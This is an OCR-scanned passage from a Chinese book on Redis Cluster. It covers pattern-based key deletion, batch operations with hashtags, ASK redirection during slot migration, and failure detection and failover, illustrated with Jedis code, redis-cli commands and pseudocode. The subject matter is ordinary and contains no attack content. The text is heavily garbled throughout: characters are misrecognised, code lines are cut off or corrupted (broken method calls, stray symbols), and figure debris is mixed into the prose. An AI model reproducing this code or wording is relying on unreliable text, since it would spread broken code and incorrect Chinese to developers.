2) 使 用 info replication 筛 选 1) 中 的 主 节点 。 


3) 志 历 主 节 点 ， 使 用 scan 命 令 找到 指定 模式 的 key， 使 用 Pipeline 机 制 删 


例如 下 面 操作 每 次 衣 历 1000 个 key， 将 Redis Cluster 中 以 user 开 头 的 key 全 
部 删除 。 





String pattern = "user*",; 
int scanCounter = 1000; 
delRedisClusterByPattern(jedisCluster, pattern, scanCounter); 





所 以 对 于 keys、flushall 等 需要 肖 历 所 有 节点 的 命令 ， 同 样 可 以 参照 上 面 
的 方法 进行 相应 功能 的 实现 。 


(3) 批量 操作 的 方法 


Redis Cluster 中 ， 由 于 key 分 布 到 各 个 节点 上 ， 会 造成 无 法 实现 mget、 
mset 等 功能 。 但 是 可 以 利用 CRC16 算 法 计算 出 key 对 应 的 slot， 以 及 Smart 客 户 
器 保 存 了 slot 和 节点 对 应 关系 的 特性 ， 将 属于 同一 个 Redis 节 点 的 key 进 行 归 
档 ， 然 后 分 别 对 每 个 节点 对 应 的 子 key 列 表 执 行 mget 或 者 pipeline 操 作 ， 有 具体 
使 用 方法 可 以 参考 11.5 节 “无 底 洞 优化 ”。 





(4) 使 用 Lua、 事 务 等 特性 的 方法 


Lua 和 事务 需要 所 操作 的 key， 必 须 在 一 个 节点 上 ， 不 过 Redis Cluster 提 
供 了 hashtag， 如 果 开 发 人 员 确 实 要 使 用 Lua 或 者 事务 ， 可 以 将 所 要 操作 的 key 
使 用 一 个 hashtag， 如 下 所 示 : 
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// hashtag 
String hastag = "{user}"; 
/ / ”用 户 A 的 关注 表 
String userAFollowKey = hastag + ":a:follow"; 
/ / ”用 户 B 的 粉丝 表 
String userBFanKey = hastag + ":b:fans"; 
// 计算 hashtag 对 应 的 S10ot 
int Slot = JedqisClusterCRC16.getSlot (hastag); 
/ / ”获取 指定 Slot 的 JedisPool 
JedisPool jedisPool = jedisCluster.getConnectionHandler() .getJedisPoolFromSlot!( 
/ / 在 当 个 节点 上 执行 事务 
Jedis jedis = null; 
try { 
jedis = jedisPool.getResource(); 
/ / ”用 户 A 的 关注 表 加 入 用 户 B， 用 户 BB 的 粉丝 列表 加 入 用 户 A 
Transaction transaction = jedis.multi(); 
transaction.sadd (userAFollowKey, "user:b"); 
transaction.sadd (userBFanKey, "user:a"); 
transaction.exec (); 
} catch (Exception e) { 
logger.error (e.getMessage(), 》 
} finally { 
if (jedis!= null) 
jedis.close(); 




















































































































具体 步骤 如 下 : 
1) 将 事务 中 所 有 的 key 添 加 hashtag。 


2) 使 用 CRC16 计 算 hashtag 对 应 的 slot。 





3) 获取 指定 slot 对 应 的 节点 连接 池 JedisPool。 


4) 在 JedisPool 上 执行 事务 。 
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10.$.3 ASK 重 定向 


1. 客 户 端 ASK 重 定向 流程 


Redis 集 群 支 持 在 线 迁 移 槽 〈slot) 和 数据 来 完成 水 平 伸缩 ， 当 slot 对 应 
的 数据 从 源 节点 到 目标 节点 迁移 过 程 中 ， 客 户 端 需要 做 到 智能 识别 ， 保 证 键 
命令 可 正常 执行 。 例 如 当 一 个 slot 数 据 从 源 节 点 迁移 到 目标 节点 时 ， 期 间 可 
能 出 现 一 部 分 数据 在 源 市 态 ， 而 为 一 部 分 在 目标 节点 ， 如 图 10-32 所 示 。 


当 出 现 上 述 情况 时 ， 客 户 端 键 命令 执行 流程 将 发生 变化 ， 如 下 所 示 : 


1) 客户 端 根据 本 地 slots 绥 存 发 送 命令 到 源 行 扎 ， 如 果 存 在 键 对 象 则 直 
接 执行 并 返回 结果 给 客户 端 。 





2) 如 末 键 对 象 不 存在 ， 则 可 能 存在 于 目标 节点 ， 这 时 源 节 点 会 回复 
ASK 重 定 同 异常 。 格 式 如 下 : (error) ASK {slot} {targetIP}: {targetPort}。 














3) 客户 端 从 ASK 重 定向 异常 提取 出 目标 节点 信息 ， 发 送 asking 命 令 到 上 
标 节点 打开 客户 端 连 接 标识 ， 再 执行 键 命令 。 如 果 存 在 则 执行 ， 不 存在 则 返 
回 不 存在 信息 。 











ASK 重 定向 整体 流程 如 图 10-33 所 示 。 
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图 10-33 ASK 重 定向 流程 


ASK 与 MOVED 虽 然 都 是 对 客户 端的 重 定 向 控制 ， 但 是 有 着 本 质 区 别 。 
ASK 重 定向 说 明 集 群 正在 进行 slot 坝 据 迁 移 ， 客 户 端 无 法 知道 什么 时 候 迁 移 
完成 ， 因 此 只 能 是 临时 性 的 重 定向 ， 客 户 端 不 会 更 新 slots 缓 存 。 但 是 
MOVED 重 定向 说 明 键 对 应 的 槽 已 经 明确 指定 到 新 的 节点 ， 因 此 需要 更 新 
slots 绥 存 。 


2. 节 点 内 部 处 理 


为 了 支持 ASK 重 定 同 ， 源 节点 和 目标 节点 在 内 部 的 clusterState 结 构 中 维 
护 当 前 正在 迁移 的 槽 信息 ， 用 于 识别 槽 迁移 情况 ， 结 构 如 下 : 
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typedef struct clusterState 
lusterNode *myself; /年 吉 有 请 1 
LusterNode *slots[CLUSTER SLOTS]; /* 槽 和 节点 映射 数组 */ 
lusterNode *migrating slots to[CLUSTER SLOTS];/* 正在 迁 出 的 槽 节点 数组 */ 
lusterNode *importing slots from[CLUSTER SLOTS];/* 正在 迁 入 的 模 节 点 数组 x / 








QA 












































“Go 


} clusterState; 





节点 每 次 接收 到 键 命令 时 ， 都 会 根据 clusterState 内 的 迁移 属性 进行 命令 
处 理 ， 如 下 所 示 : 


:如 采 键 所 在 的 模 由 当前 节点 负责 ， 但 键 不 存在 则 得 找 migrating_slots_to 
数组 查看 槽 是 人 否 正在 迁 出 ， 如 果 是 返回 ASK 重 定 回 。 


如果 客户 端 发 送 asking 命 令 打 开 了 CLIENT _ASKING 标 识 ， 则 该 客户 端 
下 次 发 送 键 命令 时 查找 importing slots from 数组 获取 clusterNode， 如 果 指 向 
自身 则 执行 命令 


需要 注意 的 是 ，asking 命 令 是 一 次 性 命令 ， 每 次 执行 完 后 客户 端 标识 都 
多 改 回 原状 态 ， 因 此 每 次 客户 问 接 收 到 ASK 重 定 癌 后 都 需要 发 送 asking 命 


会 人 
今 


O 








:批量 操作 。ASK 重 定 同 对 单 键 命令 支持 得 很 完善 ， 但 是 ， 在 开发 中 我 
们 经 常 使 用 批量 操作 ， 如 meget 或 pipeline。 当 槽 处 于 迁移 状态 时 ， 批 量 操 作 
会 受到 影响 。 


例如 ， 手 动 使 用 迁移 命令 让 槽 4096 处 于 迁移 状态 ， 并 且 数 据 各 自分 散在 
目标 节点 和 源 节 点 ， 如 下 所 示 : 





#6379 节 点 准备 导入 模 409 6 数据 

127.0.0.1:6379>cluster setslot 4096 importing 1a205dd8b2819a00ddle8b6be40a8e2ab 
OR 
#6385 节 点 准备 导出 模 409 6 数据 
127.0.0.1:6379>cluster setslot 4096 migrating cfb28efldeee4e0fa78da86abe5d24566 
OR 

# 查看 槽 4096 下 的 数据 
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127.0.0.1:6385> Cluster getkeysinslot 4096 100 

1) "key:test:5028" 

2) "key:test:68253" 

3) "key:test:79212" 

# 迁移 键 key:test:68253 和 key:test:79212 到 6379 节 点 

127.0.0.1:6385>migrate 127.0.0.1 6379 "" 0 5000 keys key:test:68253 key:test:79 
OK 








现在 槽 4096 下 3 个 键 数 据 分 别 位 于 6379 和 6380 两 个 节点 ， 使 用 Jedis 客 户 
端 执 行 批量 操作 。mget 代 人 码 如 下 : 





@Test 

public void mgetOnAskTest() { 
JedisCluster jedisCluster = new JedisCluster (new HostAndPort ("127.0.0.1", 6 
List<String> results = jedisCluster.mget ("key:test:68253", "key:test:79212" 
System.out .println (results); 
results = jedisCluster.mget ("key:test:5028", "key:test:68253", "key:test:79 
System.out .println (results); 




















运行 mget 测 试 结果 如 下 : 





[value:68253, value:79212] 

redis.clients.jedis.exceptions.JedisDataException: TRYAGAIN Multiple keys reque 
during rehashing of slot 

at redis.clients.jedis.Protocol.processError (Protocol.java:127) 

















测试 结果 分 析 : 


:第 1 个 mget 运 行 成 功 ， 这 是 因为 键 key: test: 68253，key: test: 79212 
己 经 迁移 到 目标 节点 ， 当 mget 键 列表 都 处 于 源 节 点 /目标 节点 时 ， 运 行 成 
Df 





第 2 个 mget 抛 出 异常 ， 当 键 列表 中 任何 键 不 存在 于 源 节 点 时 ， 抛 出 异 


瑟 


综 上 所 处 ， 当 在 集群 环境 下 使 用 mget、mset 等 批量 操作 时 ，slot 迁 移 数 
据 期 间 由 于 键 列表 无 法 保证 在 同一 节点 ， 会 导致 大 量 错误 。 
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Pipeline 代 码 如 下 : 





QTest 
public void pipelineOnAskTest() { 
JedisSlotBasedConnectionHandler connectionHandler = new JedisCluster (new 
Host AndPort ("127.0.0.1"™, 6379)) { 
public JedisSlotBasedConnectionHandler getConnectionHandler() ({ 
return (JedisSlotBasedConnectionHandler) super.connectionHandler; 





} 
} .getConnectionHandler (); 
List<String> keys = Arrays.asList("key:test:68253", "key:test:79212", "key: 





5028™)> 

Jedis jedis = connectionHandler.getConnectionFromSlot (JedisClusterCRC16. 
get Slot (keys.get (2))); 

try { 





Pipeline pipelined = jedis.pipelined(); 
for (String key : keys) { 
pipelined.get (key); 








} 
List<Object> results = pipelined.syncAndReturnAll (); 
for (Object result : results) ({ 

System.out .Println(result) ， 





} 
} finally { 
jedis.close(); 


} 





Pipeline 的 代码 中 ， 由 于 Jedis 没 有 开放 slot 到 Jedis 的 查询 ， 使 用 了 匿名 内 
部 类 暴露 JedisSlotBasedConnectionHandler。 通 过 Jedis 获 取 Pipeline 对 象 组 合 3 
条 get 命 令 一 次 发 送 。 运 行 结果 如 下 : 





redis.clients.jedis.exceptions.JedisAskDataException: ASK 4096 127.0.0.1:6379 
redis.clients.jedis.exceptions.JedisAskDataException: ASK 4096 127.0.0.1:6379 
value:5028 

















结果 分 析 : 返回 结果 并 没有 直接 抛 出 异常 ， 而 是 把 ASK 异 常 
JedisAskDataException 包 含 在 结果 集中 。 但 是 使 用 Pipeline 的 批量 操作 也 无 法 
文 持 由 于 slot 迁 移 导 致 的 键 列表 跨 市 点 问题 。 





得 葵 于 Pipeline 并 没有 直接 抛 出 异常 ， 可 以 借助 于 JedisAskDataException 
内 返回 的 目标 节点 信息 ， 手 动 重 定 问 请 求 给 目标 节点 ， 修 改 后 的 程序 如 下 : 
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QTest 
public void pipelineOnAskTestV2() { 
JedisSlotBasedConnectionHandler connectionHandler = new JedisCluster (new Ho 
AndPort. ("L270 05L",. 6379)). 4 
public JedisSlotBasedConnectionHandler getConnectionHandler() ({ 
return (JedisSlotBasedConnectionHandler) super.connectionHandler; 











} 
} .getConnectionHandler (); 
List<String> keys = Arrays.asList("key:test:68253", "key:test:79212", "key: 
test:5028"); 
Jedis jedis = connectionHandler.getConnectionFromSlot (JedisClusterCRC16.get 
Slot (keys .get (2))); 
ty 并 
Pipeline pipelined = jedis.pipelined(); 
for (String key : keys) { 
pipelined.get (key); 














} 
List<Object> results = pipelined.syncAndReturnAll (); 
for (int i = 0; i < keys.size(); i++) { 
/ /” 键 顺序 和 结果 顺序 一 致 
Object result = results.get (i); 
if (result != null && result instanceof JedisAskDataException) { 
JedisAskDataException askException = (JedisAskDataException) re 
HostAndPort targetNode = askException.getTargetNode (); 
Jedis targetJedis = connectionHandler.getConnectionFromNode (七 at 
getNode); 
二 | 
// 执行 asking 
targetJedis.asking(); 
/ / 获取 Key 并 执行 
String key = keys.get (i); 
String targetResult = targetJedis.get (key); 
System.out.println (targetResult); 
} finally { 
targetJedis.close(); 





























} 
} else { 
System.out .Println(result) ， 
} 
} 
} finally { 
jedis.close(); 


} 





修改 后 的 Pipeline 运 行 结果 以 下 : 





value:68253 
value:79212 
value:5028 








根据 结果 ， 我 们 成 功 获取 到 了 3 个 键 的 数据 。 以 上 测试 能 够 成 功 的 前 提 
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1) Pipeline 严 格 按照 键 发 送 的 顺序 返回 结果 ， 即 使 出 现 异 党 也 是 如 此 
(更 多 细节 见 3.3 节 “Pipeline”) 。 


2) 理解 ASK 重 定 癌 之 后 ， 可 以 手动 发 起 ASK 流 程 保证 Pipeline 的 结果 正 
确 性 。 


综 上 所 处 ， 使 用 smart 客 户 端 批量 操作 集群 时 ， 需 要 评估 mgetmseft、 
Pipeline 等 方式 在 slot 迁 移 场景 下 的 容错 性 ， 防 止 集 群 迁 移 造 成 大 量 错误 和 数 
据 丢 失 的 情况 。 


Oj 


集群 环境 下 对 于 使 用 批量 操作 的 场景 ， 建 议 优先 使 用 Pipeline 方 式 ， 在 
客户 端 实 现 对 ASK 重 定向 的 正确 处 理 ， 这 样 既 可 以 受益 于 批量 操作 的 IO 优 
化 ， 又 可 以 兼容 slot 挝 移 场 景 。 
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10.6 ”故障 转移 


Redis 集 群 自身 实现 了 局 可 用 。 高 可 用 首先 需要 解决 集群 部 分 失败 的 场 
景 : 当 集 群 内 少量 节点 出 现 故障 时 通过 自动 故障 转移 保证 集群 可 以 正常 对 外 
提供 服务 。 本 市 介绍 故障 转移 的 细节 ， 分 析 故 障 发 现 和 普 换 故障 节点 的 过 


程 。 
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10.6.1 故障 发 现 


当 集群 内 某 个 节点 出 现 问题 时 ， 需 要 通过 一 种 健壮 的 方式 保证 识别 出 节 
点 是 否 发 生 了 故障 。Redis 集 群 内 节点 通过 ping/jpong 消 息 实现 节点 通信 ， 消 
娠 不 但 可 以 传播 节点 权 信 息 ， 还 可 以 传播 其 他 状态 如 : 主 从 状态 、 节 点 故障 
等 。 因 此 故障 发 现 也 是 通过 消息 传播 机 制 实现 的 ， 主 要 环节 包括 : 主观 下 线 
Cpfail) 和 客观 下 线 (fail) 。 


主观 下 线 : 指 某 个 节操 认为 妨 一 个 节点 不 可 用 ， 即 下 线 状 态 ， 这 个 状 


态 并 不 是 最 终 的 故障 判定 ， 只 能 代表 一 个 市 扣 的 意见 ， 可 能 存在 误 判 情况 。 











客观 下 线 : 指标 记 一 个 节点 真正 的 下 线 ， 集 群 内 多 个 市 点 都 认为 该 市 
扩 不 可 用 ， 从 而 达成 共识 的 结果 。 如 果 是 持 有 横 的 主 市 皮 故 障 ， 需 要 为 该 市 
扩 进 行 故障 转移 。 


1 让 现下 贷 





集群 中 每 个 节点 都 会 定期 癌 其 他 贡 点 发 送 ping 消 轧 ， 接 收 贡 点 回复 pong 
消息 作为 啊 应 。 如 果 在 cluster-node-timeout 时 间 内 通信 一 直 失 败 ， 则 发 送 节 
点 会 认为 接收 节点 存 在 故障 ， 把 接收 节操 标记 为 主观 下 线 (pfail) 状态 。 流 
程 如 图 10-34 所 示 。 
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一 一 一 一 一 一 一 一 一 3) 与 节点 b 最 后 通信 时 间 趣 过 
cluster-node-timeout 标记 pfail 状态 ; 


11.1) 回复 ping 消息 | 


ee ee 
Vyes 


节点 也 


图 10-34 ”主观 下 线 识别 流程 


流程 说 明 : 
1) 节点 a 发 送 ping 消 息 给 节点 b， 如 果 通 信 正 党 将 接收 到 pong 消 息 ， 肌 


点 a 更 新 最 近 一 次 与 节点 b 的 通信 时 间 。 





2) 如 宁 节 点 a 与 节 氮 b 通 信 出 现 问题 则 断 开 连接 ， 下 次 会 进行 重 连 。 如 











果 一 直通 信和 失败 ， 则 布点 a 记录 的 与 市 尽 b 最 后 遂 信 时 间 将 无 法 更 新 。 





3) 节点 a 内 的 定时 任务 检测 到 与 节点 b 最 后 通信 时 间 超 高 cluster-node- 
timeout 时 ， 更 新 本 地 对 节点 b 的 状态 为 主观 下 线 (pfail〉。 

主观 下 线 简单 来 讲 就 是 ， 当 cluster-note-timeout 时 间 内 某 节 点 无 法 与 另 一 
个 节点 顺利 完成 ping 消 息 通信 时 ， 则 将 该 节点 标记 为 主观 下 线 状 态 。 每 个 节 
点 内 的 cluster State 结 构 都 需要 保存 其 他 节点 信息 ， 用 于 从 目 身 视角 判断 其 他 


市 反 的 状态 。 结 构 关 键 属性 如 下 : 
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typedef struct clusterState { 
clusterNode *myself; /* 自身 节点 / 
dict *nodes;/* 当前 集群 内 所 有 节点 的 字典 集合 ，Key 为 节点 ID，vValue 为 对 应 节点 Cl1usterNode 结 构 */ 






































} clus 








terState; 字 典 nodes 属 性 中 的 clusterNode 结 构 保 存 了 节点 的 状态 , 关键 属性 如 下 : 
typedef struct clusterNode { 
int flags; /* 当前 节点 状态 , 如 : 主 从 角色 ， 是 否 下 线 等 */ 























mstime t ping sent; /* 最 后 一 次 与 该 节点 发 送 ping 消 息 的 时 间 */ 
mstime 七 pong_received; /* 最 后 一 次 接收 到 该 节点 Dong 消 息 的 时 间 */ 





} clusterNode; 











其 中 最 重要 的 属性 是 flags， 用 于 标示 该 节点 对 应 状态 ， 取 值 范 围 如 下 : 





















































































































































CLUSTER NODE MASTER 1 /* 当前 为 主 节 点 */ 
CLUSTER _ NODE SLAVE 2 /* 当前 为 从 节点 */ 
CLUSTER NODE PFAIL 4 /* 主观 下 线 状态 */ 
CLUSTER NODE FAIL 8 /* 客观 下 线 状态 */ 
CLUSTER NODE MYSELF 16 /* 表示 自身 节点 */ 
CLUSTER_NODE HANDSHAKE 32 /* 握手 状态 ， 未 与 其 他 节点 进行 消息 通信 */ 
CLUSTER_NODE_NORADDR 64 /* 无 地 址 节点 ,用 于 第 一 次 meet 通 信 未 完成 或 者 通信 失败 */ 
CLUSTER _NODE MEET 128 /* 需要 接受 meet 消 息 的 节点 状态 */ 
R 














NODE_MIGRATE_TO 256 /* 该 节点 被 选中 为 新 的 主 节点 状态 */ 





使 用 以 上 结构 ， 主 观 下 线 判断 伪 代 码 如 下 : 





/ / 定时 任务 ， 默认 每 秒 执行 10 次 
def clusterCron(): 
// .. . 忽略 其 他 代码 
for (nodqe in server.cluster.nodes): 
/ / 忽略 自身 节点 比较 
if(node.flags == CLUSTER NODE MYSELE) : 
continue; 
/ / 系统 当前 时 间 
long now = mstime(); 
// 自身 节点 最 后 一 次 与 该 节点 PING 通 信 的 时 间 差 
long delay = now - node.ping sent; 
/ /” 如 果 通 信和 时间 差 超过 cluster node timeout,， 将 该 节点 标记 为 PFAIL (主观 下 线 ) 
if (delay > server.cluster node timeout) 
node.flags = CLUSTER NODE PFAIL; 




































































Redis 集 群 对 于 市 点 最 终 是 否 故 障 判断 非常 严谨 ， 只 有 一 个 市 点 认 为 主 
观 下 线 并 不 能 准确 判断 是 否 故 障 。 例 如 图 10-35 的 场景 。 
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图 10-3$ 638$ 节 点 故障 误 判 


节点 6379 与 6385 通 信 中 断 ， 导 致 6379 判 断 638$ 为 主观 下 线 状 态 ， 但 是 
6380 与 6385 市 点 之 间 通 信和 正常， 这 种 情况 不 能 判定 节点 6385 发 生疏 障 。 因 此 
对 于 一 个 健壮 的 故障 发 现 机 制 ， 需 要 集群 内 大 多 数 节 点 都 判断 6385 故 障 时 ， 
才能 认为 6385 确 实 发 生 故 障 ， 然 后 为 6385 节 点 进行 故障 转移 。 而 这 种 多 个 节 
点 协作 完成 故障 发 现 的 过 程 叫做 客观 下 线 。 


2. 客 观 下 线 





当 茶 个 节点 判断 另 一 个 节点 主观 下 线 后 ， 相 应 的 节点 状态 会 跟随 消息 在 
集群 内 传播 。pingpong 消 息 的 消息 体会 携带 集群 10 的 其 他 节点 状态 数据 ， 
当 接 受 节 点 发 现 消 息 体 中 含有 主观 下 线 的 节点 状态 时 ， 会 在 本 地 找到 故障 节 
点 的 ClusterNode 结 构 ， 保 存 到 下 线 报告 链表 中 。 结 构 如 下 : 

















struct clusterNode { /* 认为 是 主观 下 线 的 CLusterNode 结 构 */ 
list *fail reports; /* 记录 了 所 有 其 他 节点 对 该 节点 的 下 线 报告 */ 





} 
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通过 Gossip 消 乱 传 播 ， 集 群 内 市 点 不 断 收集 到 故障 三 点 的 下 线 报告 。 当 
半数 以 上 持 有 槽 的 主 厂 点 部 标记 人 录 个 节点 是 主观 下 线 时 。 触 友 客 观 下 线 流 
程 。 这 里 有 两 个 问题 : 





1) 为 什么 必须 是 负责 槽 的 主 节点 参与 故障 发 现 决 策 ? 因为 集群 模式 下 
只 有 处 理 槽 的 主 节 点 才 负 责 读 写 请 求 和 集群 槽 等 关键 信息 维护 ， 而 从 节点 只 
进行 主 节点 数据 和 状态 信息 的 复制 。 


2) 为 什么 半数 以 上 处 理 柳 的 主 市 点 ?必须 半数 以 上 是 为 了 应 对 网 络 分 
区 等 原因 造成 的 集群 分 割 情 况 ， 被 分 割 的 小 集群 因为 无 法 完成 从 主观 下 线 到 
客观 下 线 这 一 关键 过 程 ， 从 而 防止 小 集群 完成 故障 转移 之 后 继续 对 外 提供 服 
务 。 





假设 市 把 a 标记 节点 b 为 主观 下 线 ， 一 段 时 间 后 市 皮 a 通 过 消 轧 把 市 皮 b 的 
状态 发 送 到 其 他 节点 ， 当 节点 c 接 受到 消息 并 解析 出 消息 体 含 有 节点 b 的 pfail 
状态 时 ， 会 触发 客观 下 线 流程 ， 如 图 10-36 所 示 。 
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消息 解析 


Sy 





包含 其 他 pfail 凶 | 








图 10-36 ”客观 下 线 逻 辑 流 程 
流程 说 明 : 


1)〉 当 消息 体内 含有 其 他 节点 的 pfail 状 态 会 判断 发 送 节点 的 状态 ， 如 果 
发 送 节 点 是 主 市 点 则 对 报告 的 pfail 状 态 人 处 理 ， 从 节点 则 忽略 。 








2) 找到 pfail 对 应 的 节点 结构 ， 更 新 clusterNode 内 部 下 线 报告 链表 。 


3) 根据 更 新 后 的 下 线 报告 链表 告 尝试 进行 客观 下 线 。 
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这 里 针对 维护 下 线 报告 和 党 试 客观 下 线 馆 辑 进行 详细 说 明 。 
(1) 维护 下 线 报告 链表 


每 个 节点 ClusterNode 结 构 中 都 会 存在 一 个 下 线 链表 结构 ， 保 存 了 其 他 主 
节点 针对 当前 节点 的 下 线 报告 ， 结 构 如 下 : 





typedef struct clusterNodeFailReport { 
struct clusterNode *node; /* 报告 该 节点 为 主观 下 线 的 节点 */ 
mstime 七 time; /* 最 近 收 到 下 线 报告 的 时 间 */ 

} clusterNodeFailReport; 














下 线 报告 中 保存 了 报告 故障 的 节点 结构 和 最 近 收 到 下 线 报告 的 时 间 ， 当 
接收 到 fail 状 态 时 ， 会 维护 对 应 节点 的 下 线 上 报 链 表 ， 伪 代码 如 下 : 





def clusterNodeAddFailureReport (clusterNode failNode, clusterNode senderNode) : 
/ / 获取 故障 节点 的 下 线 报告 链表 
list report list = failNode.fail reports; 
/ / 查找 发 送 节 点 的 下 线 报告 是 否 存在 











for(clusterNodeFailReport report : report list): 
/ / 存在 发 送 节 点 的 下 线 报告 上 报 
if(senderNode == report.node): 
/ / 更 新 下 线 报告 时 间 
report .time = now() 


return 0; 
/ / 如 果 下 线 报告 不 存在 ， 插入 新 的 下 线 报告 
report 1ist.adqd(new clusterNoderFailReport (senderNode,now())); 
return 1; 








每 个 下 线 报告 都 存在 有 效 期 ， 每 次 在 尝试 触发 客观 下 线 时 ， 都 会 检测 下 
线 报告 是 否 过 期 ， 对 于 过 期 的 下 线 报告 将 被 删除 。 如 果 在 cluster-node-time*2 
的 时 间 内 该 下 线 报告 没有 得 到 更 新 则 过 期 并 删除 ， 伪 代码 如 下 : 





def clusterNodeCleanupFailureReports (clusterNode node) :: 











list report list = node.fail reports; 

long maxtime = server.cluster node timeout * 2; 

long now = now(); 

for (clusterNoderFailReport report : report list): 

/ / ”如 果 最 后 上 报 过 期 时 间 大 于 cluster _node timeout * 2 则 删除 
if(now - report.time > maxtime) : 


reéport list.del (report); 


ee | 
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下 线 报告 的 有 效 期 限 是 server.cluster node timeout*2， 主 要 是 针对 故障 
误 报 的 情况 。 例 如 节点 A 在 上 一 小 时 报告 节点 B 主 观 下 线 ， 但 是 之 后 又 恢复 








正常 。 现 在 又 有 其 他 节点 上 报 节点 B 主 观 下 线 ， 根 据 实际 情况 之 前 的 属于 误 
报 不 能 被 使 用 。 


四 se 


如 果 在 cluster-node-time*2 时 间 内 无 法 收集 到 一 半 以 上 横 节 点 的 下 线 报 
告 ， 那 么 之 前 的 下 线 报告 将 会 过 期 ， 也 就 是 说 主观 下 线 上 报 的 速度 妃 赶 不 上 
下 线 报告 过 期 的 速度 ， 那 么 故障 市 点 将 永远 无 法 被 标记 为 客观 下 线 从 而 导致 
故障 转移 失败 。 因 此 不 建议 将 cluster-node-time 设 置 得 过 小 。 





(2) 尝试 客观 下 线 


集群 中 的 节点 每 次 接收 到 其 他 节点 的 pfail 状 态 ， 都 会 党 试 触 发 客观 下 
线 ， 流 程 如 图 10-37 所 示 。 
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| 尝试 密 观 下 线 | 














向 集群 广播 
下 线 节点 区 fail 消息 


-3 ~ — 


mo 


图 10-37 ”尝试 客观 下 线 流程 


流程 说 明 : 


1) 首先 统计 有 效 的 下 线 报告 数量 ， 如 果 小 于 集群 内 持 有 槽 的 主 节 点 总 
数 的 一 半 则 退出 。 





2) 当下 线 报告 大 于 模 主 节点 数量 一 半 时 ， 标 记 对 应 故障 节点 为 客观 下 
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线 状 态 。 


3) 回 集 群 广播 一 条 fail 消 轧 ， 通 知 所 有 的 节点 将 故障 节点 标记 为 客观 下 
线 ，fail 消 妃 的 消 妃 体 只 包含 故障 节点 的 ID。 








使 用 伪 代 码 分 析 客 观 下 线 的 流程 ， 如 下 所 示 : 





def markNodeAsFailingIfNeeded(clusterNode failNode) { 
/ / 获取 集群 持 有 槽 的 节点 数量 
int slotNodeSize = getSlotNodeSize(); 
/ / 主观 下 线 节点 数 必 须 超过 槽 节点 数量 的 一 半 
int needed quorum = (slotNodeSize / 2) + 1; 
// 统计 fail1Node 节 点 有 效 的 下 线 报告 数量 (不 包括 当前 节点 ) 
int failures = clusterNodeFailureReportsCount (failNode); 
/ / ”如 果 当前 节点 是 主 节点 ， 将 当前 节点 计 累 加 到 failures 
if (nodeIlsMaster (myself)): 
failurest++; 
/ / 下 线 报告 数量 不 足 槽 节点 的 一 半 退 出 
if (failures < needed quorum): 
return; 
/ / 将 改 节点 标记 为 客观 下 线 状态 (fail) 
failNode.flags = REDIS NODE FAIL; 
/ / 更 新 客观 下 线 的 时 间 
failNode.fail time = mstime(); 
/ / ”如 果 当 前 节点 为 主 节点 ,向 集群 广播 对 应 节点 的 fai1l 消 息 
if (nodeIlsMaster (myself)) 
clusterSendFail (failNode); 









































广播 fail 消 轧 是 客观 下 线 的 最 后 一 步 ， 它 承担 着 非常 重要 的 职 贡 : 





通知 集群 内 所 有 的 节点 标记 故障 节点 为 客观 下 线 状 态 并 立刻 生效 。 


通知 故障 节点 的 从 节点 触发 故障 转移 流程 。 


需要 理解 的 是 ， 尽 管 存在 广播 fail 消 息 机 制 ， 但 是 集群 所 有 节点 知道 故 
障 节点 进入 客观 下 线 状 态 是 不 确定 的 。 比 如 当 出 现 网 络 分 区 时 有 可 能 集群 被 
分 割 为 一 大 一 小 两 个 独立 集群 中 。 大 的 集群 持 有 半数 模 节 点 可 以 完成 客观 下 
线 并 广播 fail 消 息 ， 但 是 小 集群 无 法 接收 到 fail 消 息 ， 如 图 10-38 所 示 。 
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图 10-38 网络 分 区 导致 集群 分 割 


但 是 当 网 络 恢复 后 ， 只 要 故障 节点 变 为 客观 下 线 ， 最 终 总 会 通过 Gossip 
消息 传播 至 集群 的 所 有 节点 。 


© 


网 络 分 区 会 导致 分 割 后 的 小 集群 无 法 收 到 大 集群 的 外 i 消息 ， 因 此 如 果 
故障 节 扣 所 有 的 从 节点 都 在 小 集群 内 将 导致 无 法 完成 后 续 故 障 转 移 ， 因 此 部 
蜀 主 从 结构 时 需要 根据 上 自身 机 房 /机 染 拓扑 结构 ， 降 低 主 从 被 分 区 的 可 能 
性 ， 
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10.6.2 ”故障 恢复 





故障 节点 变 为 客观 下 线 后 ， 如 果 下 线 节 点 是 持 有 槽 的 主 节点 则 需要 在 它 
的 从 节点 中 选 出 一 个 替换 它 ， 从 而 保证 集群 的 高 可 用 。 下 线 主 节点 的 所 有 从 
厄 点 承担 故障 恢复 的 义务 ， 当 从 市 点 通过 内 部 定时 任务 发 现 自身 复制 的 主 节 
点 进入 客观 下 线 时 ， 将 会 触发 故障 恢复 流程 ， 如 图 10-39 所 示 。 
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图 10-39 ”故障 恢复 流程 


1. 资 格 检 查 





每 个 从 节点 都 要 检查 最 后 与 主 节 点 断 线 时 间 ， 判 断 是 否 有 资格 奉 换 故障 
的 主 节点 。 如 果 从 节点 与 主 节点 断 线 时 间 超 过 cluster-node-time*cluster-slave- 
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validity-factor， 则 当前 从 节点 不 具备 故障 转移 资格 。 参 数 cluster-slave- 
validity-factor 用 于 从 节点 的 有 效 因子 ， 默 认为 10。 


2. 准 备 选 举 时 间 


当 从 节点 符合 故障 转移 资格 后 ， 更 新 触发 故障 选举 的 时 间 ， 只 有 到 达 该 
时 间 后 才能 执行 后 续 流 程 。 故 障 选举 时 间 相 关 字 段 如 下 : 





struct clusterState { 





mstime 七 failover auth time; /* 记录 之 前 或 者 下 次 将 要 执行 故障 选举 时 间 */ 
int failover auth rank; /* 记录 当前 从 节点 排名 */ 








这 里 之 所 以 采用 延迟 触 改 机制， 主要 是 通过 对 多 个 从 市 点 使 用 不 同 的 延 
迟 选 举 时 间 来 支持 优先 级 问题 。 复 制 偏 移 量 越 大 说 明 从 节点 延迟 越 低 ， 那 么 
它 应 该 具有 更 高 的 优先 级 来 蔡 换 故障 主 贡 点 。 优 先 级 计算 伪 代 码 如 下 : 














def clusterGetSlaveRank () : 
int rank = 0; 
/ / 获取 从 节点 的 主 节点 
ClusteRNode master = myself.slaveof; 
/ / 获取 当前 从 节点 复制 偏 移 量 
long myoffset = teplicationGetSlaveoffset () ， 
/ / 跟 其 他 从 节点 复制 偏 移 量 对 比 

















for (int ] = 0; Jj < master.slaves.length; j++): 
/ / rank 表 示 当 前 从 节点 在 所 有 从 节点 的 复制 偏 移 量 排名 ， 为 0 表示 偏 移 量 最 大 . 
if (master.slaves[j] != myself && master.slaves[j].repl offset > myoffs 
rankt++; 


return rank; 





